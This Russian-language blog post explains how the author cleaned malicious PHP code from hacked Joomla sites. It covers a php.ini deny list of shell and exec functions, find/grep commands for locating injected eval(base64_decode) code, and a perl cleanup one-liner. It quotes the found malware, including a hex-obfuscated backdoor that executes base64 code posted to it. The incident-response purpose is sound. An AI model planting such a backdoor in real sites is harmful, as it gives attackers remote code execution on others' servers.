Блог об it, программировании и интернет-маркетинге

Делюсь наблюдениями и личным опытом в области программирования и интернет-маркетинга

Чистим Joomla от вредоносного кода

Posted on | June 7, 2014 | No Comments

Так получилось, что у меня есть пара сайтов с Joomla. В один прекрасный день, ко мне обратилась тех поддержка хостера с уведомлением, что на мой ip пришел abuse “We have detected a network attack…” и небольшим логом запросов. Пришлось почистить эту конюшню.
Постараюсь в общих советах описать как разбираться с вирусней занесенной через и в php.
Для начала постараемся найти и закрыть дыру через которую заразились. В php.ini максимально закрываем использование потенциально опасных вызовов.
disable_functions = exec, mail, passthru, shell_exec, system, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_source

Если используется не самописный движок, то гуглим какие-нить критичные баги в установленной у вас версии и проверяем плагины. Например, есть страница Уязвимые экстеншены в Joomla, где приводится список плагинов, с указанием версии, типа уязвимости и если есть, фиксом.

Теперь пора почистить последствия взлома. Тут стоит немного отвлечься и рассказать как последствие выглядит.
Вставляют в какой-либо из существующих (часто во много разных файлов и по много раз в каждый) исполняемых файлов код, вместо
<?php echo $param; ?>
стало
<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjd...ciwid2ViY)); echo $param; ?>
Делают аккуратно, не удаляя предыдущий код, чтобы при исполнении файла не возникло ошибки.
Альтернативный вариант встраивания кода – добавление includa на сгенерированный файл.

Если знаем примерную дату взлома, можно найти все измененные файлы, в данном случае поиск флагом -mtime за последние 7 дней
find /path/to/mysite.ru/ -type f -mtime -7

Если понятия не имеет – ищем в файлах фразы eval, base64_decode, shell_exec, fromCharCode, и рассматриваем внимательнее подозрительное.
grep "eval(base64_decode" -rn ./
а можно сузить и перебрать исполняемые php форматы
find ./ -type f -iname *.php -exec grep "eval(base64_decode" -rn {} \;
правда не стоит забывать, что через .htaccess могли добавить исполнение php любых форматов.

Я находил забавные файлы в хексе и в восьмиричной кодировке, которые исполнялись через include
<?php .... "\x66ld\x77h\x74\x79\x70"]="\x74h\x65\x6d\x65\x73";${"\x47\x4cO\x42\x41LS"}["\x6cs\x61\x70\x6e\x69"]="\x70o\x73t";${"GLO\x42AL\x53"}["xsv\x63\x69\x77\x66\x78\x6eo"]="\x6b\x65y";${"\x47LO\x42\x41L\x53"}["j\x6dfg\x70a\x6e\x79\x62u\x66"]="\x67\x6fo\x64";${"\x47\x4c\x4fB\x41LS"}["\x72\x70\x79o\x67\x67\x72\x66\x70m"]="goo\x64\x73";if(isset($_POST["\x63\x6fde"]) &&isset($_POST["\x63\x75s\x74\x6fm_\x61c\x74i\x6f\x6e"]) &&is_good_ip($_SERVER["\x52E\x4d\x4f\x54\x45\x5fAD\x44R"])){eval(base64_decode($_POST["co\x64\x65"]));exit();} ....?>
как оказалось их было достаточно много, все идентичные, с md5 edef7f2ccb201a4dd4ae0ae0b28d5bb0
grep "\\\x6f\\\x6et\\\x65\\\x6e\\\x74" -rl /home/ | xargs md5

Если в кучу ваших файлов добавили один и тот же код, например eval(base64_decode(....) - то можно почистить все скопом:
find . -type f -name '*.php' | xargs perl -pi -e 's/eval\(base64_decode\(\"someShit\"\)\)//g;'

Стоит уделить внимание и директориям изначально не предназначенным для исполняемых файлов, но имеющие права 777 uploads, images.. Хотя бы просто grep -irn "php" /path/uploads

Лучше всего не лечиться, а делать профилактику - обновлять софт сервера, обновлять движок, пароли, давать минимальные права всему возможному, использовать разных пользователей.
Чистить сервер от говна задача муторная.

SEO Community Ваау! News2.ru SMI2 Google Bookmarks I.ua Закладки Yandex Ruspace Web-zakladka Zakladok.net delicious БобрДобр.ru Memori.ru rucity.com МоёМесто.ru Mister Wong

Comments